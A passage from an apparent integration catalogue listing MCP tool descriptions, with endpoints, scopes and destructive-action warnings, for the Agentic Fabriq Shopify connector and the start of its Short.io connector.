shopify_set_inventory_shipment_tracking (write) — Set an inventory shipment's carrier tracking. Unlike fulfilment tracking this never emails a customer. POST /api/v1/tools/shopify/inventory/shipments/tracking. Scopes: write_inventory_shipments. shopify_set_inventory_transfer_items (write, destructive) — DESTRUCTIVE -- set quantities for up to 100 named inventory items on a transfer. This SETS rather than adds, and lines not named keep their quantities. On READY_TO_SHIP transfers the change moves reserved stock at the origin. POST /api/v1/tools/shopify/inventory/transfers/items/set. Scopes: write_inventory_transfers. shopify_set_metafield (write) — Write one metafield onto a product, variant, order, customer, collection or draft order. Create-or-replace rather than additive, and exactly reversible by Delete a custom field. Worth knowing: a metafield can be bound to a definition the storefront theme reads, so overwriting one can change what a shopper sees on a product page. Shopify gates it on the owner resource's own write permission, which is why four write scopes are listed. POST /api/v1/tools/shopify/metafields/set. Scopes: write_products, write_orders, write_customers, write_draft_orders. shopify_set_order_edit_quantity (write) — Change a line quantity inside an open edit session, and see what the customer WOULD be charged. Still uncommitted, so still nothing has moved. Zero removes the line. Reduced units go back on sale by default, because the alternative silently loses stock. POST /api/v1/tools/shopify/orders/edit/quantity. Scopes: write_order_edits. shopify_set_product (write, destructive) — DESTRUCTIVE -- replace a Shopify product declaratively. Any list you pass -- tags, collection_ids, options, variants -- REPLACES the existing one, and entries you leave out are DELETED. Read the product first and send the whole list back. Set synchronous=false for very large products; that returns an operation id for shopify_get_product_operation instead of the product. POST /api/v1/tools/shopify/products/set. Scopes: write_products. shopify_set_product_status (write, destructive) — DESTRUCTIVE — change a product's status between ACTIVE, DRAFT, ARCHIVED and UNLISTED. Status is not publication: Shopify does not put an active product in front of shoppers by itself. But for a product that is ALREADY published to the online store, DRAFT stops it being sold and ACTIVE starts it again, and this action cannot tell which case it is in — reading a product's publication state needs a scope Agentic Fabriq could not establish is obtainable. Treat it as changing what the store sells. POST /api/v1/tools/shopify/products/status. Scopes: write_products. shopify_set_variant_components (write, destructive) — DESTRUCTIVE -- set the component variants of a Shopify bundle variant. components_to_set adds or re-quantifies components; component_variant_ids_to_remove drops them; remove_all empties the list. Up to 30 components. Changing components changes the bundle's sellable stock immediately. Price is not settable here. POST /api/v1/tools/shopify/variants/components/set. Scopes: write_products. shopify_split_fulfillment_orders (write, destructive) — DESTRUCTIVE -- split Shopify fulfilment orders by moving specific line items and quantities into new fulfilment orders. Returns the original, the remaining and any replacement fulfilment order -- read the returned ids, because the ones you sent may no longer be live. Reversed by shopify_merge_fulfillment_orders. POST /api/v1/tools/shopify/fulfillment-orders/split. Scopes: write_merchant_managed_fulfillment_orders. shopify_submit_fulfillment_cancellation_request (write) — Send a cancellation request to the fulfilment service handling a Shopify fulfilment order. The service may refuse. Poll requestStatus on the fulfilment order to learn the outcome. POST /api/v1/tools/shopify/fulfillment-orders/submit-cancellation-request. Scopes: write_third_party_fulfillment_orders. shopify_submit_fulfillment_request (write, destructive) — DESTRUCTIVE -- send a fulfilment request to the fulfilment service assigned to a Shopify fulfilment order. Omit line_items to request everything; naming line items splits the fulfilment order and returns an unsubmitted_fulfillment_order for the remainder. The service accepts or rejects and AF cannot do either -- poll requestStatus. POST /api/v1/tools/shopify/fulfillment-orders/submit-fulfillment-request. Scopes: write_third_party_fulfillment_orders. shopify_suggest_segment_filters (read) — Search Shopify's segment filter vocabulary by keyword and return the matching query handles. Both the search term and a page size are required by Shopify. GET /api/v1/tools/shopify/segments/filters/suggest. Scopes: read_customers. shopify_suggest_segment_values (read) — Suggest values for a Shopify segment filter -- the tags, countries or states actually present in this store's customer data. Narrow with filter_query_name from shopify_list_segment_filters. A search term is required by Shopify. GET /api/v1/tools/shopify/segments/values/suggest. Scopes: read_customers. shopify_toggle_inventory_locations (write, destructive) — DESTRUCTIVE -- activate or deactivate one inventory item at up to 100 locations at once. Deactivating removes the item's quantities at that location permanently. POST /api/v1/tools/shopify/inventory/locations/toggle. Scopes: write_inventory. shopify_unpin_metafield_definition (write) — Unpin a metafield definition so it no longer appears at the top of the admin editor. POST /api/v1/tools/shopify/metafield-definitions/unpin. Scopes: write_products, write_orders, write_customers, write_draft_orders. shopify_update_article (write, destructive) — DESTRUCTIVE - edit a Shopify blog article and optionally publish or unpublish it. The body REPLACES the previous one and tags REPLACE the whole list. Publishing exposes it to the public and to search engines; unpublishing does not retract what was already crawled. Changing the handle breaks the old URL with no redirect. POST /api/v1/tools/shopify/content/articles/update. Scopes: write_content. shopify_update_blog (write, destructive) — DESTRUCTIVE - edit a Shopify blog. Changing the handle changes the URL of the blog and every article under it, with no redirect, so every existing link breaks. Setting the comment policy to AUTO_PUBLISHED turns off human review of public comments. POST /api/v1/tools/shopify/content/blogs/update. Scopes: write_content. shopify_update_bxgy_discount_code (write, destructive) — DESTRUCTIVE - Change a live buy-X-get-Y code. IT REPRICES A CODE SHOPPERS HOLD. ends_at AND usage_limit ARE REQUIRED ON UPDATE, NOT ONLY ON CREATE. Shopify treats both as nullable and documents null as "no expiry" and "unlimited usage", so an update is the shortest path from a bounded code to an unbounded one. Requiring them here means no code AF has touched is open-ended, whoever created it. The buy/get block is all-or-nothing: supply all five of buy_product_ids, buy_quantity, get_product_ids, get_quantity and get_percentage, or none of them. Shopify's input replaces each side wholesale rather than patching it, and a half-supplied side silently drops the other half. Shoppers who already hold the code see the new terms immediately. Orders already placed are not repriced. POST /api/v1/tools/shopify/discounts/bxgy/update. Scopes: write_discounts. shopify_update_catalog (write, destructive) — DESTRUCTIVE - Change a catalog's name, status, markets or price list. WHAT MOVES: setting catalog_status="ACTIVE" starts applying this catalog's prices and product visibility to its markets on the next page load. Setting market_ids REPLACES the market list rather than adding to it - markets left out stop being served by this catalog. Attaching a different price_list_id re-prices every product in the catalog's markets at once. publicationId is not exposed here for the same reason as on create: read_publications is not an obtainable scope. POST /api/v1/tools/shopify/catalogs/update. Scopes: write_products. shopify_update_catalog_context (write, destructive) — DESTRUCTIVE - Add or remove the markets a catalog applies to, without replacing. WHAT MOVES: removing a market withdraws this catalog's prices and its product visibility from that market on the next page load. If the catalog carried a price list, shoppers there go back to the base price; if it carried a publication, the set of products they can see changes. Adding a market does the reverse, immediately, if the catalog is ACTIVE. It is reversible by calling this again with the arguments swapped, which is why it is not flagged destructive - but it is not quiet. Use this rather than shopify_update_catalog when the intent is "also serve Mexico" instead of "serve exactly these markets"; update_catalog replaces the whole list. POST /api/v1/tools/shopify/catalogs/context. Scopes: write_products. shopify_update_collection (write) — Update a Shopify collection's title, description, SEO fields or product sort order. Rule sets, images, handles and channel publication are not offered by this tool. Only sort_order=MANUAL preserves a hand-set product order. POST /api/v1/tools/shopify/collections/update. Scopes: write_products. shopify_update_customer (write, destructive) — DESTRUCTIVE — overwrite a real person's name, email address, phone number or note. The previous value is gone and Agentic Fabriq never saw it, which is what makes this destructive rather than merely a write. Changing an email address also changes where that person's order confirmations go. The bounded case is real and common: correcting a misspelled address on an order that has not shipped. POST /api/v1/tools/shopify/customers/update. Scopes: write_customers. shopify_update_customer_address (write, destructive) — DESTRUCTIVE -- overwrite fields on one of a Shopify customer's addresses. There is no revert -- read the current values with shopify_list_customer_addresses first. Omitted fields are left alone; unrecognised keys are refused. POST /api/v1/tools/shopify/customers/addresses/update. Scopes: write_customers. shopify_update_delivery_customization (write) — Change a delivery customisation. It cannot switch one on. POST /api/v1/tools/shopify/delivery/customizations/update. Scopes: write_delivery_customizations. shopify_update_delivery_profile (write, destructive) — DESTRUCTIVE. Change a profile's rates, zones or membership. POST /api/v1/tools/shopify/delivery/profiles/update. Scopes: write_shipping. shopify_update_discount_code (write, destructive) — DESTRUCTIVE - Change a live percentage discount code. IT REPRICES A LIVE CODE. The missing half of shopify_create_discount_code: before this, a code with the wrong percentage or the wrong end date could only be deleted and recreated, which loses its usage history and strands whoever already has the old string. ends_at AND usage_limit ARE REQUIRED HERE TOO. Shopify documents null on both as "no expiry" and "unlimited", so an update is how a bounded code becomes an unbounded one. PERCENTAGE ONLY, for the reason creation is percentage only: a fixed cash discount is unbounded against a small basket, and a percentage cannot exceed the value of what is being bought. POST /api/v1/tools/shopify/discounts/update. Scopes: write_discounts. shopify_update_draft_order (write) — Change an unpaid draft order. The line items REPLACE the whole basket rather than patching it, so read the current contents first. Not destructive: the draft is unpaid, so nothing here reaches a customer or the merchant's books. POST /api/v1/tools/shopify/draft-orders/update. Scopes: write_draft_orders. shopify_update_external_marketing_activity (write, destructive) — DESTRUCTIVE - change an existing Shopify external marketing activity. The previous values are not recoverable. Nothing is sent to anybody. Pass EXACTLY ONE of marketing_activity_id or remote_id. POST /api/v1/tools/shopify/marketing/activities/update. Scopes: write_marketing_events. shopify_update_free_shipping_discount_code (write, destructive) — DESTRUCTIVE - Change a live free-shipping code. THE CAP STAYS REQUIRED. maximum_shipping_price, ends_at and usage_limit are all required on update, not only on create. Every one of them is nullable in Shopify's input and every null means "no limit", so an update is the shortest path from a bounded code to an unbounded one. A code that passes through this method leaves it bounded whoever created it. Shoppers already holding the code get the new terms immediately. POST /api/v1/tools/shopify/discounts/free-shipping/update. Scopes: write_discounts. shopify_update_gift_card (write) — Correct a card's note, expiry, owner or template. Never its balance. POST /api/v1/tools/shopify/gift-cards/update. Scopes: write_gift_cards. shopify_update_inventory_item (write, destructive) — DESTRUCTIVE -- partial update of an inventory item: cost, SKU, tracked, requires_shipping, country and province of origin, HS code and weight. Setting tracked=false discards every stock level for the item. POST /api/v1/tools/shopify/inventory/items/update. Scopes: write_inventory. shopify_update_inventory_shipment_quantities (write, destructive) — DESTRUCTIVE -- set absolute quantities on up to 100 shipment line items. On an in-transit shipment this changes stock at the origin location. POST /api/v1/tools/shopify/inventory/shipments/items/quantities. Scopes: write_inventory_shipments. shopify_update_market (write, destructive) — DESTRUCTIVE - Change a market: countries, currency, tax treatment, what serves it. WHAT MOVES: removing a country from a market sends every shopper in it back to whichever market claims them next - a different currency, a different catalog, possibly a different domain - on their next page load. Setting market_status="DRAFT" does the same for every country in the market at once. Both are reversible by calling this again, which is why it is not flagged destructive, but neither is quiet. makeDuplicateUniqueMarketsDraft is NOT exposed. It sets OTHER markets to draft as a side effect of editing this one, and an argument whose blast radius is a resource the caller did not name has no place on an update. See COVERAGE_ARG_EXCLUSIONS. POST /api/v1/tools/shopify/markets/update. Scopes: read_markets, write_markets. shopify_update_menu (write, destructive) — DESTRUCTIVE - replace a Shopify navigation menu's title, handle and ENTIRE item tree. Anything you omit is deleted, and the shop's navigation bar changes for every shopper immediately. ALWAYS call shopify_get_menu first and send the complete tree back. Changing the handle detaches the menu from the theme and usually empties the navigation bar. POST /api/v1/tools/shopify/navigation/menus/update. Scopes: write_online_store_navigation. shopify_update_metafield_definition (write, destructive) — DESTRUCTIVE -- update a metafield definition. Changing validations revalidates every existing value asynchronously; the returned validation job id can be polled with shopify_get_job. POST /api/v1/tools/shopify/metafield-definitions/update. Scopes: write_products, write_orders, write_customers, write_draft_orders. shopify_update_metaobject (write, destructive) — DESTRUCTIVE -- update a metaobject's fields and optionally its handle. Only the keys given are written; omitted keys keep their values. POST /api/v1/tools/shopify/metaobjects/update. Scopes: write_metaobjects. shopify_update_metaobject_definition (write, destructive) — DESTRUCTIVE -- update a metaobject definition: rename it, change access, append field definitions or delete them by key. Deleting a field key destroys that value on every record of the type. POST /api/v1/tools/shopify/metaobject-definitions/update. Scopes: write_metaobject_definitions. shopify_update_order (write) — Record an internal note, a purchase-order reference or tags on an order. Deliberately narrow: it accepts no email address and no shipping address, because those are the shopper's own contact details and belong to the customer actions where the personal-data write is explicit and separately grantable. Nothing here reaches the shopper. Passing tags REPLACES the whole list. POST /api/v1/tools/shopify/orders/update. Scopes: write_orders. shopify_update_order_edit_discount (write) — Change a discount already staged on an edit. PERCENTAGE ONLY. The correction for "make it 20%, not 10%" without removing the discount and re-adding it, which would lose the description the customer sees. PERCENTAGE ONLY, for the reason shopify_add_order_edit_line_discount gives: fixedValue is a cash figure the agent names with no ceiling, and a share is bounded by the value it applies to. Nothing has moved. The order is unchanged until shopify_commit_order_edit. POST /api/v1/tools/shopify/orders/edit/discounts/update. Scopes: write_order_edits. shopify_update_order_edit_shipping_line (write) — Relabel a shipping line in an open edit session. TITLE ONLY. OrderEditUpdateShippingLineInput has exactly two fields, title and price, and both are optional. ONLY THE TITLE IS EXPOSED. The price is an agent-named figure a real person is then charged, with no cap parameter anywhere in the input - the same refusal shopify_create_draft_order makes for a custom priced line, and the same one that keeps orderEditAddShippingLine off this connector entirely. Repricing freight on somebody's order is a merchant decision made in the Shopify admin. What is left is genuinely useful: correcting "Standard" to "Standard (signed for)" on a document the customer will read, without touching the amount. Nothing has moved. The order is unchanged until shopify_commit_order_edit. POST /api/v1/tools/shopify/orders/edit/shipping/update. Scopes: write_order_edits. shopify_update_page (write, destructive) — DESTRUCTIVE - edit a Shopify page and optionally publish or unpublish it. The body REPLACES the previous one. Publishing puts the text in front of the public and unpublishing does not retract what was already crawled or cached. Changing the handle breaks the old URL with no redirect. POST /api/v1/tools/shopify/content/pages/update. Scopes: write_content. shopify_update_product (write) — Correct a product's title, description, vendor, type, tags or SEO fields. Everything it changes is correctable by calling it again, which is why it is not destructive. STATUS IS NOT ONE OF THEM — changing what the catalogue advertises is Set product status, a separate grant. Passing tags REPLACES the whole tag list; Add tags adds one without dropping the others. POST /api/v1/tools/shopify/products/update. Scopes: write_products. shopify_update_product_bundle (write, destructive) — DESTRUCTIVE -- update a Shopify product bundle. Passing components REPLACES the existing list -- omitted components are removed and the bundle's stock is recomputed. Omit components to rename only. Asynchronous: poll the returned operation id with shopify_get_product_operation. POST /api/v1/tools/shopify/products/bundles/update. Scopes: write_products. shopify_update_product_media (write) — Set the alt text on a Shopify product image, video or 3D model. Takes the parent product id, the media id from shopify_list_product_media, and the replacement text. Pass an empty string to clear it. No URL argument exists on this tool. POST /api/v1/tools/shopify/products/media/update. Scopes: write_products. shopify_update_product_option (write, destructive) — DESTRUCTIVE -- update one Shopify product option: rename it, reposition it, add values, rename values, or delete values. variant_strategy LEAVE_AS_IS (default) errors rather than deleting variants; MANAGE deletes every variant that referenced a deleted value, permanently. Check hasVariants on each option value first. POST /api/v1/tools/shopify/products/options/update. Scopes: write_products. shopify_update_reverse_delivery_shipping (write) — Update the tracking number and URL on an existing Shopify reverse delivery. No return label can be attached through this tool by design. POST /api/v1/tools/shopify/returns/reverse-deliveries/shipping. Scopes: write_returns. shopify_update_saved_search (write) — Rename a saved search or change what it matches. POST /api/v1/tools/shopify/saved-searches/update. Scopes: read_customers, read_orders, read_products, read_draft_orders. shopify_update_shop_locale (write) — Publish or unpublish a language, or change where it is served. published=true IS THE MOMENT SHOPPERS SEE IT. Shopify: "Only published locales are visible to the buyer." Publishing a language whose translations are half-written shows shoppers a mixture of two languages, and every untranslated field falls back to the primary one. web_presence_ids REPLACES the set of addresses that serve this language. Shopify's own note on the field: "Pass in an empty array to remove the locale across all market web presences." This connector forwards an explicit empty list as an empty list for exactly that reason, so passing [] is a real instruction, not a no-op. POST /api/v1/tools/shopify/i18n/locales/update. Scopes: write_locales. shopify_update_tracking (write, destructive) — DESTRUCTIVE — correct the carrier, tracking number or tracking URL on a fulfilment. A mistyped tracking number was permanent before this, and had very likely already been emailed to the shopper. Destructive for one reason: with notification enabled it sends a SECOND shipping email, which cannot be recalled. It defaults to not notifying, though the case for saying yes is stronger here than usual — the shopper is holding a number that does not work. POST /api/v1/tools/shopify/fulfillments/tracking. Scopes: write_merchant_managed_fulfillment_orders. shopify_update_url_redirect (write, destructive) — DESTRUCTIVE - repoint an existing Shopify URL redirect. Traffic that was going one place starts going another, silently, and the previous target is not recoverable. Read it first with shopify_get_url_redirect. POST /api/v1/tools/shopify/navigation/redirects/update. Scopes: write_online_store_navigation. shopify_update_variant (write, destructive) — DESTRUCTIVE — correct one variant's SKU, barcode, tax flag or inventory policy. PRICE IS NOT A PARAMETER: repricing live merchandise is not a decision an agent makes unattended, and this connector never sets a price anywhere. Destructive because a SKU or barcode change reaches the merchant's own warehouse, accounting and channel feeds, and the inventory policy decides whether the store will sell an item it does not have. POST /api/v1/tools/shopify/variants/update. Scopes: write_products. shopify_update_web_presence (write, destructive) — DESTRUCTIVE. Change a live storefront's address or its language. WHAT BREAKS: changing subfolder_suffix changes the URL of every page the presence serves. Existing links, bookmarks, ad campaigns and search-engine results that pointed at the old path stop pointing at anything Shopify serves under that name. Changing default_locale changes the language a shopper is shown by default at that address. Neither is a delete, and both are why this is flagged destructive. alternate_locales REPLACES the list rather than adding to it. Read the current value with shopify_list_web_presences and send the whole list back, or the locales you leave out stop being served. This is the SUPERSEDING form of marketWebPresenceUpdate. POST /api/v1/tools/shopify/markets/web-presences/update. Scopes: read_markets, write_markets. shopify_upsert_external_marketing_activity (write, destructive) — DESTRUCTIVE - create or replace the Shopify record of a marketing campaign that ran somewhere else. Nothing is sent to anybody; this is bookkeeping so Shopify's analytics can attribute traffic to it. It is an UPSERT keyed on remote_id, so reusing an id overwrites that record's previous values irrecoverably. POST /api/v1/tools/shopify/marketing/activities/upsert. Scopes: write_marketing_events. shopify_upsert_metaobject (write, destructive) — DESTRUCTIVE -- create or overwrite a metaobject identified by type plus handle. The sync-friendly form: no existence check needed first. POST /api/v1/tools/shopify/metaobjects/upsert. Scopes: write_metaobjects. ================================================================================ ## Short.io URL: https://www.agenticfabriq.com/integrations/shortio Section: Integrated Tools Short.io — 90 MCP tools Provider key: shortio. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. shortio_delete_domains_allowedhostnames_by_domainid (write, destructive) — Removes a hostname from the domain's allowed-hostnames list. via DELETE /domains/allowedHostnames/{domainId} DELETE /api/v1/shortio/domains/allowedHostnames/{domainId}. Scopes: api. shortio_delete_domains_dnsrecord (write, destructive) — Deletes DNS records of the given name and type. Omit `value` to remove every matching record. via DELETE /domains/dnsRecord DELETE /api/v1/shortio/domains/dnsRecord. Scopes: api. shortio_delete_domains_favicon_by_domainid (write, destructive) — Deletes the domain's favicon. via DELETE /domains/favicon/{domainId} DELETE /api/v1/shortio/domains/favicon/{domainId}. Scopes: api. shortio_delete_domains_favorite_by_domainid (write, destructive) — Removes the domain from the current user's favorites. via DELETE /domains/favorite/{domainId} DELETE /api/v1/shortio/domains/favorite/{domainId}. Scopes: api. shortio_delete_domains_ipexclusions_by_domainid (write, destructive) — Removes an IP address from the domain's exclusion list. via DELETE /domains/ipExclusions/{domainId} DELETE /api/v1/shortio/domains/ipExclusions/{domainId}. Scopes: api. shortio_delete_domains_link_signature_key_by_domainid (write, destructive) — Removes the domain's link-signature key (sets it to null), disabling redirect URL signing for the domain. via DELETE /domains/link-signature-key/{domainId} DELETE /api/v1/shortio/domains/link-signature-key/{domainId}. Scopes: api. shortio_delete_domains_qrcodesettings_by_domainid (write, destructive) — Deletes the domain's QR code settings, reverting to defaults. via DELETE /domains/qrCodeSettings/{domainId} DELETE /api/v1/shortio/domains/qrCodeSettings/{domainId}. Scopes: api. shortio_delete_domains_s3exports_by_domainid (write, destructive) — Disables daily S3 click export for the domain. via DELETE /domains/s3exports/{domainId} DELETE /api/v1/shortio/domains/s3exports/{domainId}. Scopes: api. shortio_delete_domains_theme_by_domainid (write, destructive) — Deletes theme settings for the domain, reverting it to the default theme. via DELETE /domains/theme/{domainId} DELETE /api/v1/shortio/domains/theme/{domainId}. Scopes: api. shortio_delete_link_country_by_linkid_by_country (write, destructive) — Delete link country via DELETE /link_country/{linkId}/{country} DELETE /api/v1/shortio/link_country/{linkId}/{country}. Scopes: api. shortio_delete_link_region_by_linkid_by_country_by_region (write, destructive) — Delete link region by country via DELETE /link_region/{linkId}/{country}/{region} DELETE /api/v1/shortio/link_region/{linkId}/{country}/{region}. Scopes: api. shortio_delete_links (write, destructive) — Delete links of a domain within a created-at date interval. Provide any combination of bounds (at least one is required): - `createdAfter` / `createdBefore`: Unix timestamps in milliseconds - `days`: relative upper bound (delete links older than N days) Optionally restrict deletion to links whose `conditionalColumn` matches `conditionalMatch`. Deletion runs asynchronously. via DELETE /links DELETE /api/v1/shortio/links. Scopes: api. shortio_delete_links_bundle_by_id (write, destructive) — Deletes a bundle by ULID id via DELETE /links/bundle/{id} DELETE /api/v1/shortio/links/bundle/{id}. Scopes: api. shortio_delete_links_bundle_by_id_links_by_linktemplateid (write, destructive) — Removes a link from a bundle by its link template ID via DELETE /links/bundle/{id}/links/{linkTemplateId} DELETE /api/v1/shortio/links/bundle/{id}/links/{linkTemplateId}. Scopes: api. shortio_delete_links_by_link_id (write, destructive) — Delete link by id **Rate limit**: 20/s via DELETE /links/{link_id} DELETE /api/v1/shortio/links/{link_id}. Scopes: api. shortio_delete_links_delete_bulk (write, destructive) — Delete links in bulk by ids **Rate limit**: 1/s via DELETE /links/delete_bulk DELETE /api/v1/shortio/links/delete_bulk. Scopes: api. shortio_delete_links_permissions_by_domainid_by_linkid_by_userid (write, destructive) — Delete link permissions via DELETE /links/permissions/{domainId}/{linkId}/{userId} DELETE /api/v1/shortio/links/permissions/{domainId}/{linkId}/{userId}. Scopes: api. shortio_delete_links_post_by_id (write, destructive) — Delete post via DELETE /links/post/{id} DELETE /api/v1/shortio/links/post/{id}. Scopes: api. shortio_delete_links_qr_hosted_by_id (write, destructive) — Revoke a hosted QR code via DELETE /links/qr/hosted/{id} DELETE /api/v1/shortio/links/qr/hosted/{id}. Scopes: api. shortio_get_api_domains (read) — Shows all domains of current user via GET /api/domains GET /api/v1/shortio/api/domains. Scopes: api. shortio_get_api_links (read) — Get domain links via GET /api/links GET /api/v1/shortio/api/links. Scopes: api. shortio_get_audit (read) — Lists audit log entries for a team or a domain. via GET /audit GET /api/v1/shortio/audit. Scopes: api. shortio_get_domains_allowedhostnames_by_domainid (read) — Returns the domain's allowed-hostnames list. via GET /domains/allowedHostnames/{domainId} GET /api/v1/shortio/domains/allowedHostnames/{domainId}. Scopes: api. shortio_get_domains_by_domainid (read) — Get domain details by id via GET /domains/{domainId} GET /api/v1/shortio/domains/{domainId}. Scopes: api. shortio_get_domains_dnsrecord (read) — Returns the customer-managed DNS records for a domain registered through Short.io. via GET /domains/dnsRecord GET /api/v1/shortio/domains/dnsRecord. Scopes: api. shortio_get_domains_password_by_domainid (read) — Returns the custom CSS applied to the domain's password prompt page. via GET /domains/password/{domainId} GET /api/v1/shortio/domains/password/{domainId}. Scopes: api. shortio_get_domains_qrcodesettings_by_domainid (read) — Returns the default QR code settings applied to the domain's links. via GET /domains/qrCodeSettings/{domainId} GET /api/v1/shortio/domains/qrCodeSettings/{domainId}. Scopes: api. shortio_get_domains_s3exports_by_domainid (read) — Returns the S3 click-export configuration and status for the domain. via GET /domains/s3exports/{domainId} GET /api/v1/shortio/domains/s3exports/{domainId}. Scopes: api. shortio_get_domains_theme_by_domainid (read) — Returns theme settings for the domain. via GET /domains/theme/{domainId} GET /api/v1/shortio/domains/theme/{domainId}. Scopes: api. shortio_get_domains_universallinks_by_domainid (read) — Returns the iOS/Android universal-link (app association) configuration for the domain. via GET /domains/universalLinks/{domainId} GET /api/v1/shortio/domains/universalLinks/{domainId}. Scopes: api. shortio_get_link_country_by_linkid (read) — Get link countries via GET /link_country/{linkId} GET /api/v1/shortio/link_country/{linkId}. Scopes: api. shortio_get_link_region_by_linkid (read) — Get link regions via GET /link_region/{linkId} GET /api/v1/shortio/link_region/{linkId}. Scopes: api. shortio_get_link_region_list_by_country (read) — Get all regions by country via GET /link_region/list/{country} GET /api/v1/shortio/link_region/list/{country}. Scopes: api. shortio_get_links_bundle_by_id (read) — Returns bundle details by ULID id via GET /links/bundle/{id} GET /api/v1/shortio/links/bundle/{id}. Scopes: api. shortio_get_links_bundle_by_id_links (read) — Returns all links in a bundle, ordered by sort order via GET /links/bundle/{id}/links GET /api/v1/shortio/links/bundle/{id}/links. Scopes: api. shortio_get_links_bundle_templates (read) — Returns all available bundle templates via GET /links/bundle/templates GET /api/v1/shortio/links/bundle/templates. Scopes: api. shortio_get_links_by_linkid (read) — Get link info by link id. Rate limit: 20/s via GET /links/{linkId} GET /api/v1/shortio/links/{linkId}. Scopes: api. shortio_get_links_by_original_url (read) — **DEPRECATED** Get link info by original URL. Returns 404 if the domain does not exist in your organization. Rate limit: 20/s via GET /links/by-original-url GET /api/v1/shortio/links/by-original-url. Scopes: api. shortio_get_links_expand (read) — Get link info by path. Returns 404 if the domain does not exist in your organization. Rate limit: 20/s via GET /links/expand GET /api/v1/shortio/links/expand. Scopes: api. shortio_get_links_folders_by_domainid (read) — Get links folders for the specified domain id via GET /links/folders/{domainId} GET /api/v1/shortio/links/folders/{domainId}. Scopes: api. shortio_get_links_folders_by_domainid_by_folderid (read) — Get links folder for the specified domain id and user id via GET /links/folders/{domainId}/{folderId} GET /api/v1/shortio/links/folders/{domainId}/{folderId}. Scopes: api. shortio_get_links_multiple_by_url (read) — Returns all links with the same original URL. Returns 404 if the domain does not exist in your organization. via GET /links/multiple-by-url GET /api/v1/shortio/links/multiple-by-url. Scopes: api. shortio_get_links_opengraph_by_domainid_by_linkid (read) — Get link opengraph properties via GET /links/opengraph/{domainId}/{linkId} GET /api/v1/shortio/links/opengraph/{domainId}/{linkId}. Scopes: api. shortio_get_links_permissions_by_domainid_by_linkid (read) — Get link permissions via GET /links/permissions/{domainId}/{linkId} GET /api/v1/shortio/links/permissions/{domainId}/{linkId}. Scopes: api. shortio_get_links_post_by_id (read) — Get post by ID via GET /links/post/{id} GET /api/v1/shortio/links/post/{id}. Scopes: api. shortio_get_links_qr_hosted (read) — List hosted QR codes via GET /links/qr/hosted GET /api/v1/shortio/links/qr/hosted. Scopes: api. shortio_get_links_tweetbot (read) — Simple version of link create endpoint. You can use it if you can not use POST method Returns 404 if the domain does not exist in your organization. **Rate limit**: 50/s via GET /links/tweetbot GET /api/v1/shortio/links/tweetbot. Scopes: api. shortio_get_organizations_by_organizationid_planinfo (read) — Returns the organization's plan tier and billing period alongside its current usage counters: domain and link counts, paid link count, AI spend in microdollars, stored bytes, and remaining Pro/Team trial days. via GET /organizations/{organizationId}/planInfo GET /api/v1/shortio/organizations/{organizationId}/planInfo. Scopes: api. shortio_get_tags_by_domainid (read) — List the tags used across a domain via GET /tags/{domainId} GET /api/v1/shortio/tags/{domainId}. Scopes: api. shortio_get_tags_by_domainid_popular (read) — Get the most popular tags in a domain via GET /tags/{domainId}/popular GET /api/v1/shortio/tags/{domainId}/popular. Scopes: api. shortio_patch_links_bundle_by_id_links (write) — Updates the sort order of links in a bundle via PATCH /links/bundle/{id}/links PATCH /api/v1/shortio/links/bundle/{id}/links. Scopes: api. shortio_post_domains (write) — Create a domain via POST /domains POST /api/v1/shortio/domains. Scopes: api. shortio_post_domains_allowedhostnames_by_domainid (write) — Adds a hostname to the domain's allowed-hostnames list. via POST /domains/allowedHostnames/{domainId} POST /api/v1/shortio/domains/allowedHostnames/{domainId}. Scopes: api. shortio_post_domains_dnsrecord (write) — Creates one or more DNS records for a domain registered through Short.io. via POST /domains/dnsRecord POST /api/v1/shortio/domains/dnsRecord. Scopes: api. shortio_post_domains_favorite_by_domainid (write) — Marks the domain as a favorite for the current user. via POST /domains/favorite/{domainId} POST /api/v1/shortio/domains/favorite/{domainId}. Scopes: api. shortio_post_domains_ipexclusions_by_domainid (write) — Adds an IP address to the domain's exclusion list, so clicks from it are not counted. via POST /domains/ipExclusions/{domainId} POST /api/v1/shortio/domains/ipExclusions/{domainId}. Scopes: api. shortio_post_domains_link_signature_key_by_domainid (write) — Generates a new per-domain HMAC secret used by the redirector to sign redirect destination URLs, and returns it. Regenerating invalidates the previous key. via POST /domains/link-signature-key/{domainId} POST /api/v1/shortio/domains/link-signature-key/{domainId}. Scopes: api. shortio_post_domains_password_by_domainid (write) — Sets the custom CSS applied to the domain's password prompt page. via POST /domains/password/{domainId} POST /api/v1/shortio/domains/password/{domainId}. Scopes: api. shortio_post_domains_qrcodesettings_by_domainid (write) — Creates or updates the default QR code settings applied to the domain's links. via POST /domains/qrCodeSettings/{domainId} POST /api/v1/shortio/domains/qrCodeSettings/{domainId}. Scopes: api. shortio_post_domains_s3exports_by_domainid (write) — Enables daily S3 click export for the domain. via POST /domains/s3exports/{domainId} POST /api/v1/shortio/domains/s3exports/{domainId}. Scopes: api. shortio_post_domains_settings_by_domainid (write) — Update domain settings via POST /domains/settings/{domainId} POST /api/v1/shortio/domains/settings/{domainId}. Scopes: api. shortio_post_domains_theme_by_domainid (write) — Creates or updates theme settings for the domain. Colors are 6- or 8-character hex strings without the leading `#` (RRGGBB, or RRGGBBAA for transparency). via POST /domains/theme/{domainId} POST /api/v1/shortio/domains/theme/{domainId}. Scopes: api. shortio_post_domains_universallinks_by_domainid (write) — Creates or updates the iOS/Android universal-link (app association) configuration for the domain. via POST /domains/universalLinks/{domainId} POST /api/v1/shortio/domains/universalLinks/{domainId}. Scopes: api. shortio_post_link_country_bulk_by_linkid (write) — Create link countries in bulk via POST /link_country/bulk/{linkId} POST /api/v1/shortio/link_country/bulk/{linkId}. Scopes: api. shortio_post_link_country_by_linkid (write) — Create link country via POST /link_country/{linkId} POST /api/v1/shortio/link_country/{linkId}. Scopes: api. shortio_post_link_region_bulk_by_linkid (write) — Create link regions in bulk via POST /link_region/bulk/{linkId} POST /api/v1/shortio/link_region/bulk/{linkId}. Scopes: api. shortio_post_link_region_by_linkid (write) — Add region targeting to link via POST /link_region/{linkId} POST /api/v1/shortio/link_region/{linkId}. 